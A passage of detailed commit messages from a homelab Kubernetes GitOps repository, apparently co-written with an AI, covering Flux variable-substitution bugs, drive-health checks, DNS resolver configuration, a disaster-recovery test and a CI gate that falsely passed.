so remediation never fired, is WRONG — measured on the live cluster, the Helm release
secrets show v9 = failed. The machinery did fire. maxUnavailable: 2 of 3 IS confirmed, so
the real harm was blast radius, not missed detection.
Adds a MEASURED substitution-semantics table, including the two anti-patterns nobody had
written down: ${VAR:?msg} renders the MESSAGE as the value, and ${VAR:=default} silently
ships the dev value to prod. Both are exempt from strict mode by design — which is exactly
why strict would never have caught the gitea/nextcloud dead-guard bug.
Also corrects repo doctrine: escaping is TOTAL ($${ARR[0]} is safe); only the unescaped
indexed form is fatal. And qualifies an earlier overstatement in this log: kustomize strips
structural YAML comments before envsubst, so the hazard is block-scalar bodies, not all
comments.
Notes Flux 2.4.0 is out of support and that strict became default-on in kustomize-controller
v1.9.0 — so the audit is a prerequisite for the upgrade regardless.
Ranked plan P0-P5 with what is done, what is ready, and what needs an operator call.
Adds conformance/tests/l0-static/flux-postbuild-substitution/ — an offline, stdlib-only
L0 check tagged R-ENV-02 + R-GITOPS-01 (deliberately NOT R-TEST-01, which would
overclaim). It reuses lib/status.py's `resources:` walk rather than forking it, so "what a
path renders" has exactly one definition. It asserts: every ${...} on a substituted path
is defined-or-escaped (comments included); no default-operator form on an undefined name;
no unparseable expansion; the rendering path actually substitutes cluster-vars; every
overlay-patched /data/KEY has a base default; and that the gate itself is load-bearing.
WIRED AS AN UNCONDITIONAL STAGE (3c) in ci/l0.sh, and that matters: stage 3b scopes to
touched requirements, and ci/touched-requirements.sh maps only clusters/* to R-ENV-02 —
so an edit to a substituted manifest under apps/ or platform/ would have filtered this
check out of exactly the change that introduces the bug. l0 fail -> BLOCK=1 in gate.sh.
Mutation-tested all five assertion classes (undefined token, indexed expansion, :- form,
missing substituteFrom, un-wired gate); each fails as intended, baseline green.
STRICT MODE IS PROVEN SAFE TO ENABLE — measured, not inspected. For all 11 substituted
paths, `kubectl kustomize --load-restrictor LoadRestrictionsNone <path> | flux envsubst
--strict` exits 0 against cluster-vars base defaults. Negative control confirms the
incident: with K3S_API_HOST unset, non-strict renders k8sServiceHost empty while strict
exits 1 with `variable not set (strict mode)`. The feature gate itself is NOT flipped
here — that is a live-cluster change and the operator's call.
Escapes the six comment hazards that stood in the way (apps/vms/unifi x4,
platform/longhorn x2). All were prose ABOUT the escaping convention; since the repo's own
contract is that $${...} emits a literal ${...}, escaping them is both precise and
self-consistent. kustomize strips these particular comments today, but comment survival is
an implementation detail — a body comment carrying $ WAS observed surviving into built
apps/wave-1 — and a survivor would kill the whole Kustomization.
DOCTRINE CORRECTED (measured against flux 2.4.0): clusters/base/apps-vms.yaml claimed an
indexed expansion is fatal "escaped or not". Escaping is TOTAL — $${ARR[0]} emits the
literal text safely; only the UNESCAPED indexed form is fatal. Corrected in place.
Also empties DOCUMENTED_GAPS in conformance/run.sh with rationale: R-ENV-02 and
R-GITOPS-01 now have a real verifying test, which run.sh's own comment named as the
trigger for removing them.
Advisory output (not failures): 6 dead cluster-vars knobs — BASE_DOMAIN, CLUSTER_ENV,
CLUSTER_POD_CIDR, PIA_REGION, PLATFORM_NODE_SELECTOR_{KEY,VALUE}. The last four are
documented reference-only; BASE_DOMAIN and CLUSTER_ENV look like genuine rot (hostnames
are hardcoded elsewhere) and are worth a follow-up.
Gate: MERGE GATE: PASS. 102 assertions, 0 hazards.
Serves: R-ENV-02, R-GITOPS-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Both ServiceDefinitions guarded their Keycloak OIDC registration with an UNESCAPED
braced expansion:
if [ -z "${GITEA_OIDC_CLIENT_SECRET:-}" ]; then # gitea
if [ -z "${NEXTCLOUD_OIDC_CLIENT_SECRET:-}" ]; then # nextcloud, then exit 0
apps-wave-0/1 both declare postBuild.substituteFrom: cluster-vars, and neither name is a
cluster-vars key — so Flux's envsubst substituted them away AT RECONCILE TIME, long
before the container ever ran. Verified in the LIVE cluster: the deployed Deployments
literally contain
if [ -z "" ]; then
which is always true. The entire OIDC registration block has been skipped on EVERY boot
of both apps.
WHY NOBODY NOTICED: both apps DO have the provider registered — `gitea admin auth list`
shows keycloak/OAuth2/true and `occ user_oidc:provider` shows the keycloak provider.
Those live in each app's own database, persisted from an earlier successful registration.
SSO works today and DECISIONS-LOG is not wrong. But the idempotent re-registration is
dead, so any PVC rebuild, DB restore, or fresh cluster build comes up with NO OIDC and
only the break-glass local admin. A PROD BUILD FROM THIS REPO WOULD SILENTLY HAVE NO SSO
on gitea or nextcloud.
The irony: the surrounding code was hardened twice — see its own comments about a "silent
first-boot RACE", the verify-then-retry loops, the marker files. All of that hardening was
unreachable, because the guard above it always evaluated true.
Not a regression from the recent R-ENV-02 tokenization — introduced 2026-08-27 (8738871).
FIXED AT THE RIGHT SEAM: apps/wave-0/gitea.yaml and apps/wave-1/nextcloud.yaml are
RENDER-GENERATED, so the fix is in catalog/*.yaml and the goldens are regenerated.
Escaped to $${...}, the convention documented in clusters/base/apps-vms.yaml. Post-envsubst
the container now receives the intended `${VAR:-}` instead of `""`.
STRICT MODE WOULD NEVER HAVE CAUGHT THIS. Flux deliberately exempts default-providing
operators (-, :-, +, :+, =, :=, ?, :?) from StrictPostBuildSubstitutions, because they
"intentionally handle the unset case". So a targeted check was required.
MADE UN-REPEATABLE IN THE RENDERER: catalog/render.py gains a substitution-safety section
wired into emit(), so every render path refuses to emit a manifest containing a braced
expansion that is not exactly ${KNOWN_KEY} for a key read LIVE from cluster-vars (no
hardcoded copy to drift; unreadable => empty set => fail-closed). Dollar-runs are counted
properly ($$ is a literal $ to envsubst, so odd runs are flagged and even runs are not),
and indexed forms get their own hard-error message. Nine new --selftest assertions,
including the exact regression. Proven to bite: rendering the pre-fix catalog files from
HEAD now exits 1 with the precise diagnosis.
Sweep: the complete substituted surface was enumerated from every Kustomization's path.
catalog/ contains exactly TWO braced expansions and both were these bugs; every other
braced expansion on a substituted path is a declared cluster-vars key (zero typos, zero
undeclared names); existing $${UOS_URL} escapes verified intact.
Verified: --selftest PASS; canonical render is byte-identical to the committed apps/ for
all 10 onboarded services; the three L1 render checks pass.
NEXT RECONCILE: both pod templates change, so gitea (wave 0) and nextcloud (wave 1) roll —
strategy: Recreate on RWO Longhorn PVCs, so expect a brief single-pod outage each. The
OIDC block then executes for the first time in these apps' deployed lifetime. Both paths
are idempotent (gitea takes auth update-oauth on the existing id; nextcloud's
user_oidc:provider is create-or-update), so the expected result is a no-op re-write plus
the verify loop logging success. If the SOPS client secret ever diverged from Keycloak's,
this is when it gets corrected instead of silently left stale. Tail both pods after merge.
Serves: R-IDP-02, R-IDP-06, R-ENV-02, R-GITOPS-02.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Merging PR #4 put cilium agents into Init:Error on 2/3 dev nodes for ~6 minutes. Self-healed;
cluster fully green. Recorded because the mechanism is systemic and far more dangerous on a
cold prod bootstrap.
Root cause: cluster-vars (which DEFINES a knob) is owned by the flux-system Kustomization,
while platform/ (which REFERENCES it) is owned by the platform Kustomization, with no
dependency ordering between defining a variable and using it. Flux post-build substitution is
NON-STRICT by default, so during the window where platform rendered the new manifest against
the old cluster-vars, ${K3S_API_HOST} became the EMPTY STRING. Cilium upgraded with
k8sServiceHost: "" and fell back to ClusterIP 10.43.0.1 — which only the Cilium agent can
translate, and that agent was the thing restarting. Its config init container then could not
reach the API server at all.
Proven by the HelmRelease config digest going e83bf695 -> eebd6c88 -> e83bf695: the config
changed and then changed back to BYTE-IDENTICAL. The pre-merge byte-identity verification was
correct — the steady state is identical; the damage was a transient intermediate render.
optional: false does NOT protect against this: it requires the ConfigMap to exist, not that
every referenced key is defined.
Fix recommended, NOT applied unilaterally: enable the StrictPostBuildSubstitutions feature gate
on kustomize-controller so an undefined variable FAILS the Kustomization instead of silently
emptying it — fail-closed, per this project's own doctrine. Requires first proving every ${VAR}
in every substituted path is defined or correctly escaped, or it would fail legitimate embedded
shell expansions. Interim discipline: add a knob in one commit, reference it in a later one.
Serves: R-ENV-02, R-GITOPS-01, R-PLAT-01.
1. PROD NODE DNS = 8.8.8.8 + 1.1.1.1 (operator, 2026-09-01). Two INDEPENDENT public
upstreams, so the single-upstream SPOF that broke containerd pulls and CoreDNS
forwarding on dev cannot recur. Prod deliberately differs from dev, which is
PiHole-first because dev needs the local jackson.lan zone.
SCOPE CORRECTED IN THE COMMENTS. Three resolvers answer *.home.keithjackson.dev and
only one is configured here:
pods -> CoreDNS -> platform/coredns/coredns-custom.yaml, whose `template` plugin
answers the WHOLE zone with ${GATEWAY_VIP}. Self-contained in-cluster;
PiHole is NOT in this path. Prod is already correct (.20).
LAN -> PiHole. Not a cluster concern.
nodes -> THIS FILE.
The one thing public node DNS breaks: the k3s API SERVER is a node process carrying
oidc-issuer-url=https://keycloak.home.keithjackson.dev/realms/homelab and reaches the
issuer through the NODE resolver, so prod would get the PUBLIC record instead of the
prod Gateway VIP — breaking kubectl OIDC SSO. Dev avoids this only because its node
resolver IS PiHole. Not blocking (prod has no cluster or Keycloak yet); options are
recorded in PROD-PROVISIONING.md §4 for the operator to pick.
2. SERVICE VIPs DECIDED: UNIFI_L4_VIP 192.168.2.21, CRAFTY_L4_VIP 192.168.2.22 — the
first two addresses after GATEWAY_VIP (.20), mirroring dev's .53/.54/.55 ordering
within the .20-.30 pool. S3_BACKUP_ENDPOINT stays TBD-PROD-* : no prod backup target
exists, and dev's versitygw is across the pfSense boundary on the dev host, so it is
not DR for prod.
3. PROD BECOME VAULT committed, ansible-vault encrypted, matching the hypervisor and
proxmox_hosts pattern. Verified working: `ansible k3s_prod -m command -a 'id -un'
--become` returns root. The L0 no-plaintext-secrets check asserts every ansible
vault.yml starts with $ANSIBLE_VAULT, so this stays honest by gate.
4. TOOLCHAIN GAP FIXED: the devcontainer image does NOT ship the Galaxy collections, so
EVERY ansible play died at parse time on community.general.modprobe. ansible.cfg now
sets collections_path = collections, and the collections are installed there from the
existing collections/requirements.yml (gitignored — pinned by requirements, fetched at
setup, vendored bytes are not source).
5. DRIVE HEALTH MEASURED and recorded in §2 with the raw attribute table so the numbers
are auditable. Verdict: usable, but not for production etcd/Longhorn state — 31% of
rated life consumed, 15 grown bad blocks, 187 erase failures, and 32 unexpected power
losses on a consumer drive with NO power-loss protection, in a single failure domain.
etcd is the worst possible tenant: it fsyncs constantly and unclean power loss without
PLP is exactly how a member corrupts.
6. NON-ECC RAM: RISK ACCEPTED by the operator, recorded as a CLOSED decision, not an open
item — do not re-litigate. Rationale: 3-node k3s homelab, not enterprise; corruption on
one node is outweighed by the other two and causes node ejection. That holds for the
dominant mode (etcd raft CRC + quorum; Longhorn 3 replicas + hard anti-affinity +
rebuild). Recorded residual: corruption introduced UPSTREAM of replication replicates
faithfully to all three replicas, so quorum sees no disagreement — low probability, and
the only mitigation is different hardware. Follow-up noted: Longhorn's
snapshotDataIntegrity is left at the chart default rather than set explicitly, and it
is the mechanism that operationalises the operator's own argument.
Serves: R-DNS-01, R-DNS-03, R-ENV-02, R-ENV-03, R-SEC-01. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The first real SMART run FAILED k3s-prod-1's drive on reallocated=61440. That verdict
was WRONG, and the failure mode is instructive: the check trusted a VENDOR-DEFINED raw
value as if it were an ATA-standard sector count.
Micron TN-FD-20 ("SMART Attributes for the C400 SSD") names attribute 5 "Reallocated
BLOCK Count" and defines its raw as grown-bad-blocks x Block_Sector_Count, where
Block_Sector_Count is 256 x 16 = 4096 for the 128Gb-NAND parts (256GB/512GB). This is
the 512GB C400-MTFDDAC512MAM: 61440 / 4096 = 15. Triply corroborated on the drive itself
— attr 170 Grown_Failing_Block_Ct = 15, attr 196 Reallocated_Event_Count = 15, attr 5
normalised value 100 against thresh 10, and `when_failed` empty on every attribute.
FIFTEEN grown bad blocks, not sixty-one thousand bad sectors.
smartctl(8) states it outright: since ATA/ATAPI-4 rev 4 the meaning of raw Attribute
fields is "entirely vendor-specific". So a raw value can never be a portable verdict.
FAIL now comes only from signals that mean the same thing on every drive: the drive's own
smart_status.passed; NORMALISED value vs the MANUFACTURER's own threshold via smartctl's
when_failed ("now"/"past"/""), split Pre-fail -> FAIL and Old_age-or-past -> WARN; the
ATA-standard counters 197/198/187 (199 CRC is WARN-only — it is link, not media); and for
NVMe critical_warning / media_errors / percentage_used. Wear reads from the NORMALISED
lifetime indicator (202/231/233, or NVMe percentage_used) — a percentage by definition.
Vendor raw counts are still collected and PRINTED WITH THEIR NUMBERS, and may raise a
WARN, but can never drive a FAIL. Attribute 5's raw is now shown beside the normalised
reading that contradicts it, labelled vendor-encoded, with a mechanically-derived
"(= 15 x 4096)". Endurance attributes are matched by THE NAME smartctl's drivedb resolved
for that model, not by bare ID — drivedb is the portability layer; on an unrecognised
drive the name is Unknown_Attribute, nothing matches, and the field stays null with no
claim made. The STORAGE section now prints 170/172/173/174/189/206, whose previous
omission is exactly what let the misread stand unchallenged.
Also documented from TN-FD-20: on this family attr 197 "will always be 0, as reallocation
will be done on-the-fly" — so pending=0 is NOT evidence of health here. The role reports
the number and infers nothing from it.
Branches real hardware cannot exercise were verified with a harness rendering the actual
role expressions against synthetic smartctl payloads: virtio/no-stdout -> SKIP; NVMe
healthy -> PASS; NVMe degraded -> FAIL; a genuinely dying ATA drive (attr 5 normalised 8
<= thresh 10, pending 48) -> FAIL driven by the threshold trip and standard counters, not
the raw; unknown-vendor attrs -> PASS with the unnamed counter ignored; failed-in-the-past
-> WARN.
NEW VERDICTS. k3s-prod-1: 0 FAIL / 4 WARN / 12 PASS / 1 SKIP — SMART is a WARN naming the
real findings (31% of rated life consumed, 15 grown bad blocks, 187 erase failures, 32
unexpected power losses on a drive with no power-loss protection). k3s-dev-1: unchanged,
all three virtio disks still SKIP with their stated reason.
BREAKING (JSON artifact): the fact `reallocated_sectors` is renamed and gone — that name
asserted a unit ATA does not guarantee. Replaced by realloc_attr (the whole attribute,
normalised + raw), realloc_events, and grown_bad_blocks. Nothing in the repo reads it.
Serves: R-ENV-03, R-OBS-04.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Records what landed, the numbers (coverage 37->40/51, safety-critical scaffolds 1->0,
PROVEN still 0 by design), the corrections made mid-session so they are not re-litigated
(prod NOPASSWD rejected; the '$i envsubst bug' disproven by running the real tool; the
stranded DNS branch dropped rather than landed), three near-misses worth remembering, the
six items blocked on the operator, and what is knowingly left undone.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Re-authors the fix stranded on origin/fix/node-dns-resilient-upstream (7a34590). That
commit was NOT landed: it wrote a netplan drop-in and ran `netplan apply`, but netplan
does not exist on these nodes any more (Debian 13 trixie generic cloud image; not in
node_baseline_packages). Landing it would have failed the handler with command-not-found
and BROKEN node-baseline.yml on every node — worse than not landing it. Its dev-LAN
literals also sat in role defaults, which prod inherits, pointing prod nodes at a PiHole
on a network they cannot reach.
The underlying problem is real and verified: a SINGLE upstream resolver is a hard SPOF.
PiHole answers jackson.lan instantly but its external recursion flaps — 0/25 for public
names (registry-1.docker.io, quay.io, ghcr.io) while gitea.jackson.lan resolved 5/5 —
breaking containerd image pulls and CoreDNS `forward . /etc/resolv.conf`.
MECHANISM DETECTION (new `dns` tag in node_baseline). Five read-only probes feed one
set_fact yielding three outcomes, because the two environments no longer share a resolver
stack (dev-1 is behind resolved's 127.0.0.53 stub; prod-1 has a direct resolv.conf and no
cloud-init at all):
* systemd-resolved — resolved running AND owning /etc/resolv.conf (proven by the
symlink pointing into /run/systemd/resolve/, or by every nameserver being a resolved
loopback). Writes resolved.conf.d/99-k3s-dns.conf with an ordered DNS=, Domains=, and
FallbackDNS= EXPLICITLY EMPTIED so systemd's compiled-in public resolvers can never
silently bypass the local zone and ad-blocking.
* resolv-conf-file — plain directly-managed file (prod's shape). Ordered nameserver
lines + options timeout:2 attempts:2, backup: true. Deliberately NO `rotate`, which
would destroy PiHole-first ordering.
* contended — resolvconf/openresolv present or NetworkManager active. Writes NOTHING
and fails loudly: a change that silently gets reverted is worse than no change.
Resolved-running-but-not-owning-resolv.conf correctly falls through to the file branch.
Ordering is the policy that keeps the local zone working — the second server is only
consulted after the first fails, so a gateway NXDOMAIN can never beat PiHole to a
jackson.lan answer.
SEAMS. Dev values in role defaults ([192.168.1.18, 192.168.1.1], search jackson.lan);
prod values in inventory/group_vars/k3s_prod/vars.yml. NOT cluster-vars — that ConfigMap
is consumed by Flux postBuild for platform/ and apps/, and no Ansible code reads it.
PROD'S SECOND UPSTREAM IS AN OPEN OPERATOR DECISION and is left as a loud
BLOCKED-pending-second-upstream placeholder, the same precedent as the node_baseline disk
devices, with a dns-tagged assert that stops the play before any file is written. A
public resolver was NOT invented as a default: it would bypass the local zone, which is a
decision, not a default. PROD-PROVISIONING.md §4 was rewritten (the old bullet pointed at
the now-dropped branch) to state the choice, including that prod routing to the dev
PiHole is unverified across the pfSense boundary.
tofu: servers = [var.dns_server, var.network_gateway] — the one hunk of the old branch
worth taking as-is. Dev-only by nature.
ALSO FIXES A FALSE WARN THIS WOULD OTHERWISE CREATE: node_health_collect.py parsed
/etc/resolv.conf only, so on dev it read the 127.0.0.53 stub and would report a permanent
single-upstream WARN even after a correct fix. It now asks resolvectl for the real
upstreams when it sees the stub — and if that fails, nameservers is NULL with the reason
recorded, never the stub and never a guess. assess.yml turns null into SKIP, not WARN and
not PASS. The honesty discipline is preserved exactly.
Verified with NO play run against any node: syntax-check + yamllint + tofu fmt clean;
--tags packages still selects ONLY the apt task (the prod package-floor escape hatch
bypasses DNS entirely); --list-hosts unchanged; -c local simulation driving the REAL
detection expression and REAL file bodies extracted from the role by script (so the test
cannot drift) passes all 5 scenarios — dev stub -> systemd-resolved, prod shape ->
resolv-conf-file, NetworkManager and resolvconf -> contended; dev defaults pass the
assert byte-identically while prod overrides fail it by name; collector unit-tested
against 8 resolver shapes.
Serves: R-DNS-01, R-DNS-03, R-ENV-02, R-ENV-03.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Closes the LAST scaffold-only safety-critical requirement. The operator has attested DR
works (Velero -> Proxmox versitygw S3, restore demonstrated), but the L3 test carried the
right tag and layer label over a 5-line TODO body — so coverage counted it and reported
"0 safety-critical gaps" while the suite asserted nothing. That was test debt, not
capability debt. This makes the suite assert what the operator already demonstrated.
Three steps:
1. assert-backup-target-is-off-cluster (read-only): BSL must be phase Available (Velero
itself reached the store), s3Url host is not localhost/*.svc/*.cluster.local, and the
resolved IPv4 is none of — loopback, any Node Internal/ExternalIP, any Service
ClusterIP, any Pod IP, inside any node podCIDR, inside any ServiceCIDR. A BSL that
exists but never reaches Available FAILS (a live DR defect), it does not skip.
2. assert-backups-are-scheduled: R-STATE-03 says SCHEDULED off-cluster backups — Velero
+ BSL but zero Schedule in phase Enabled is a fail.
3. The drill: seed a nanosecond-unique canary onto a longhorn PVC in its own scratch
namespace; Backup to Completed; assert a PodVolumeBackup for that volume is Completed
WITH a non-empty status.snapshotID (the kopia snapshot of volume DATA reached the
remote repo, not just resource JSON); ANNIHILATE the source (delete ns, poll until
gone, force-delete a lingering PV, FAIL if the original PV survived — a survivor makes
the restore prove nothing); Restore with namespaceMapping into a clean namespace;
assert the restored PVC bound a DIFFERENT PV and that the canary bytes are identical.
Off-cluster proof = endpoint outside every cluster address + BSL Available + kopia
snapshotID present + every in-cluster copy destroyed + restore landing on a new PV. The
bytes could only have come from outside.
Skips GREEN on: no longhorn SC, Velero API absent, no BSL, Velero/node-agent not ready —
all three steps re-derive the same gates so it can never half-run. An RBAC denial is
deliberately NOT a skip: it fails loudly as a harness defect. Teardown is a step-level
`finally` that ALWAYS runs — deletes the Restore, issues a DeleteBackupRequest so objects
leave the bucket (2h ttl as backstop), deletes both scratch namespaces by name and by
label, releases leftover PVs whose claimRef is one of its own. Everything it destroys is
something it created.
conformance/incluster/rbac.yaml: authored the R-STATE-03 grants (velero.io backups/
restores/deletebackuprequests create+delete+read; BSL/schedules/podvolume* read-only;
persistentvolumes get/list/DELETE — the off-cluster proof requires destroying the PV).
Also two pre-existing gaps other tests already depended on: storageclasses get/list (the
skip gate of five tests) and apps deployments/daemonsets read. No write verbs on platform
controllers.
NOT ASSERTED, stated in the file header rather than implied: off-HOST (on dev the nodes
are VMs on the same Proxmox host as the S3 target, so this does not survive hypervisor
loss); no direct S3 client read (that would hand a privileged test identity the backup
credential for weaker evidence); real service data (Nextcloud/Gitea/CNPG drills stay
operator exercises); bare-metal rebuild DR; encryption-at-rest; retention/GC.
status: scaffold-only 5 -> 4; safety-critical w/o executable L3 1 -> 0 (of 6); executable
35 -> 36. coverage unchanged at 40/51 (correct — coverage only asks whether a tagged test
exists). PROVEN stayed 0 / not-derivable: it did NOT flip to proven just because the body
is non-empty.
AUTHORED, NEVER EXECUTED — carries a conformance.home.k3s/never-executed annotation. No
cluster access from this workstation. To convert authored -> proven the operator must, IN
A MAINTENANCE WINDOW (it deletes namespaces and PVs and writes/deletes bucket objects):
apply the updated rbac.yaml, run `./conformance/run.sh --requirements R-STATE-03 --layer
l3`, confirm the log shows DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK and NOT
DR_RESTORE_SKIPPED_OK (green but proves nothing), confirm no leaked *-dr-src/*-dr-dst
namespaces or orphan PVs or *-dr-backup objects, and record the green run.
Serves: R-STATE-03, R-TEST-05.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
roles/k3s_server, roles/cilium and every node-host playbook hardcoded the dev group
names k3s_primary/k3s_secondary/k3s_servers, so the prod inventory groups could not be
selected at all. That broke the R-ENV-02 promise that prod reuses the SAME roles, and
blocked PROD-PROVISIONING.md §6 outright.
TWO KNOBS, deliberately separate — Ansible templates a play's `hosts:` BEFORE any host
context exists, so group_vars is unreadable there, while roles run WITH host context:
* which hosts a play RUNS ON — k3s_hosts, k3s_primary_hosts/k3s_secondary_hosts
(k3s.yml's split), vpn_egress_gateway_hosts; each `| default(<dev group>)`, set by -e
only. Follows node-health.yml's established `<name>_hosts | default(dev)` pattern.
* which group a ROLE means by "my primary"/"my servers" — k3s_primary_group,
k3s_servers_group in group_vars/all.yml (dev), overridden in group_vars/k3s_prod.
Follows the k3s_api_host convention already in this repo. No per-run flag.
DEV IS UNCHANGED — the key evidence. --list-hosts/--list-tasks/--syntax-check captured
for all 9 playbooks at HEAD and after: sorted host lists IDENTICAL for all 9, same
primary/secondary split, same 6-play site.yml. (Raw --list-hosts PRINT ORDER varies run
to run; proven to be Ansible's own set ordering by running UNMODIFIED HEAD cilium.yml
four times -> 3,1,2 / 1,3,2 / 1,2,3 / 1,2,3. Hence sorted comparison.) --list-tasks
differs in exactly two files, only by added TAGS annotations and one new assert; no task
reordered, renamed or removed. Var resolution verified per environment with -c local:
dev -> k3s_primary/192.168.1.50/sans .50,.49,127.0.0.1,.51,.52; prod ->
k3s_prod_primary/192.168.2.10/vip .9/sans .10,.9,127.0.0.1,.11,.12.
BREAKS THE SMARTMONTOOLS CIRCULAR DEPENDENCY. node_baseline tasks are now tagged
packages/system/disks, so the package install can run alone:
ansible-playbook playbooks/node-baseline.yml -e k3s_hosts=k3s_prod --tags packages
Skipping is the guard — no disks-tagged task is selected, so the
BLOCKED-pending-disk-decision paths are never templated, let alone passed to mkfs.
Belt-and-braces, a new disks-tagged assert fires first in a FULL run and names §2
explicitly instead of failing obscurely at mkfs. `tags: never` was deliberately NOT used
(it would change the default run).
FOOTGUN FOUND AND FIXED: roles/cilium, cluster_verify and flux_bootstrap all hardcoded
.cache/dev.kubeconfig — the exact file infra/devcontainer/dev.sh exports as $KUBECONFIG.
Once prod became targetable, a prod cilium/verify run would have SILENTLY OVERWRITTEN it,
leaving the operator's kubectl quietly answering from PROD. Now cluster_kubeconfig_name
(dev.kubeconfig -> prod.kubeconfig). Dev path byte-identical.
KNOWN, DOCUMENTED, NOT FIXED HERE: flux-bootstrap.yml retargets but roles/flux_bootstrap
shells out to bootstrap/flux/bootstrap.sh with a hardcoded --path=clusters/dev — a
bootstrap/ subtree change, not a target-group change (§6, cross-referenced to §7).
vpn.egress.gateway.yml is parameterised but prod has no egress group yet and would need
its own vaulted PIA credentials. --check against prod is still impossible until the prod
vault exists — even the packages-only run needs it.
Nothing was run against the dev cluster: --list-hosts/--list-tasks/--syntax-check, plus
debug/assert with -c local, only.
Serves: R-ENV-01, R-ENV-02, R-ENV-03. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Re-authors the fix stranded on origin/fix/act-runner-dind-readiness (242951a), which
applied cleanly but had never been merged.
The act_runner startup waited only for the dind TLS CERT FILE (/certs/client/ca.pem),
but dockerd writes the certs before it begins accepting TLS connections on :2376. A
runner proceeding on the file alone still hard-exits with "cannot ping the docker daemon
at tcp://localhost:2376" — observed crashlooping 11 times in ~8 minutes on a fresh pod
after a node bounce. Adds a second bounded wait (nc -z -w1 127.0.0.1 2376, 60s cap)
mirroring the existing cert-file loop, so the runner starts only once the daemon
actually answers. busybox nc in the Alpine-based gitea/act_runner:0.2.11 supports -z/-w.
This Deployment is the ENFORCED MERGE GATE for the whole repo, so it ships alone.
A REPORTED "latent envsubst bug" in this file was INVESTIGATED AND DISPROVEN. The claim
was that Flux envsubst expands bare `$i`, making the existing `[ "$i" -ge 60 ]` bound a
silent no-op. Running the real `flux envsubst` (v2.4.0) shows bare `$i` is NOT
substituted — even with i set in the environment, `$i` passes through literally while
`${i}` expands. This matches the repo's own contract in clusters/base/apps-vms.yaml,
which was itself written after empirical probing: "`$VAR` -> left alone by envsubst =>
bare shell vars need NO escaping." The existing 60s bound was always real. NO escaping
was applied: `$${i}` would be an ACTIVE REGRESSION, correct only on the envsubst path —
on a plain `kustomize build`/`kubectl apply -k`, sh reads `$$` as its own PID and the
bound compares garbage against 60. Bare is correct on both paths. A comment now records
the real contract so nobody "fixes" the bare form into escaping.
NEAR MISS worth recording: the first draft of that comment spelled the dangerous forms
out literally, and `flux envsubst` HARD-FAILED on it — "unable to parse variable name".
Flux's envsubst runs over the entire manifest INCLUDING YAML COMMENTS, so a braced name
containing punctuation is a fatal parse error that would have failed the whole
apps-wave-1 Kustomization — breaking every merge in the repo. From a comment. The
shipped comment names the forms in words; the file now contains no braced-dollar
sequence at all.
Verified without a cluster: flux envsubst over the file is byte-identical (exit 0, and
--strict 0); post-envsubst YAML parses with containers unchanged; `sh -n` clean; a
dry-run with a stubbed failing nc fires the stage-2 bound and exits 1; render==golden
green (gitea-actions.yaml is an EXTRA_UNITS entry — render.py places the filename into a
wave and never emits its bytes, so it is not among the 10 compared goldens).
Follow-up documented in-file, deliberately NOT done here: convert dind to an
initContainers sidecar (restartPolicy: Always) with a startupProbe that execs `docker
info` over TLS — NOT a bare tcpSocket probe, which would reopen the same "port open but
certs not ready" gap stage 1 closes — periodSeconds 1 / failureThreshold 60 to preserve
the cap, after which runner drops its command: override. k3s v1.36 has GA sidecars, so
this is the correct long-term shape; it ships separately because a failure in the merge
gate must be unambiguous.
Serves: R-GITOPS-01, R-TEST-03.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Unblocks the enforced Gitea gate, which correctly BLOCKED this branch on
['R-SEC-01','R-SEC-02','R-TEST-06'] being touched but uncovered. Tests were authored;
the coverage rule was NOT narrowed.
=== THE FALSE GREEN (root cause) ===
`make -C ci gate` locally reported PASS having checked NOTHING. resolve_base() validated
nothing, and EVERY way of failing to find a base degraded silently to an empty touched
set + exit 0: an `HEAD~1` last resort, a two-dot diff fallback masking a failing
three-dot diff, and no check that HEAD is even AHEAD of the base. Run while sitting on
`main` (main == origin/main), `origin/main...HEAD` is empty -> "no changed files vs
base" -> the empty set means run.sh is invoked with NO --requirements -> coverage.py's
--require gate never runs at all. Green by vacuum.
Now: candidates are BASE_REF > GITHUB_BASE_REF > origin/main > main, each verified to
resolve. HEAD~1 and the two-dot fallback are gone. Unresolvable base / no merge base /
failed diff / HEAD-not-ahead -> loud banner, EMPTY stdout, exit 3, and a machine-readable
reason (on-base | no-base | diff-failed). gate.sh turns exit 3 into an UNDECIDED
decision: `on-base` -> "NOT APPLICABLE — no branch under gate" (exit 0 so push-to-main
runs don't break, but it never reads as PASS); `no-base`/`diff-failed` -> BLOCKED. It
also now prints the diff base it used. A stale local main warns (widens, never falsely
greens). Also fixed `make -C ci test`, which was SWALLOWING failing suites.
Regression: ci/tests/touched-requirements-base.test.sh — 31 assertions over 8
throwaway-repo scenarios including the exact false-green case, an already-merged branch,
no base ref, a single-commit repo, bogus BASE_REF, a shallow GITHUB_BASE_REF, and
origin/main-preferred-over-stale-main.
=== NEW L0 STATIC LAYER (conformance/tests/l0-static/) ===
Where docs/14 actually puts these invariants. Each check.sh really executes offline via
`run.sh --layer l0` and is wired into ci/l0.sh, so it runs on every PR. No scaffolds.
R-SEC-01 no-plaintext-secrets (165 assertions / 445 tracked files): .sops.yaml holds only
PUBLIC age recipients; every committed Secret is SOPS-wrapped with a mac and ENC[...]
values; ansible vault.yml files are $ANSIBLE_VAULT; no secret-valued ansible key carries
a literal outside a vault; no PEM key / age secret key / kubeconfig client-key-data is
tracked; Flux declares sops decryption; the disallow-plaintext-secrets policy Enforces
and has a proving `result: fail` row. Exemptions are SELF-POLICING, not path allowlists —
a .example must be referenced by no kustomization and hold only placeholders, and the
Kyverno fixture is exempt ONLY while a test asserts the policy rejects it. Proven against
7 injected violations, including deleting the negative row and weakening Enforce->Audit.
R-SEC-02 least-privilege-rbac (41 assertions): no wildcard apiGroup/resource/verb and no
escalate|bind|impersonate in any in-repo Role/ClusterRole; no ServiceAccount bound to
cluster-admin or a wildcard role; the conformance runner's own test identity is scoped
and holds no rights over RBAC objects; the default-deny/host-namespace/egress-class
policies Enforce and each carry a negative row. Proven against 6 injected violations.
R-TEST-06 spec-immutability-enforced (16 assertions): drives the REAL
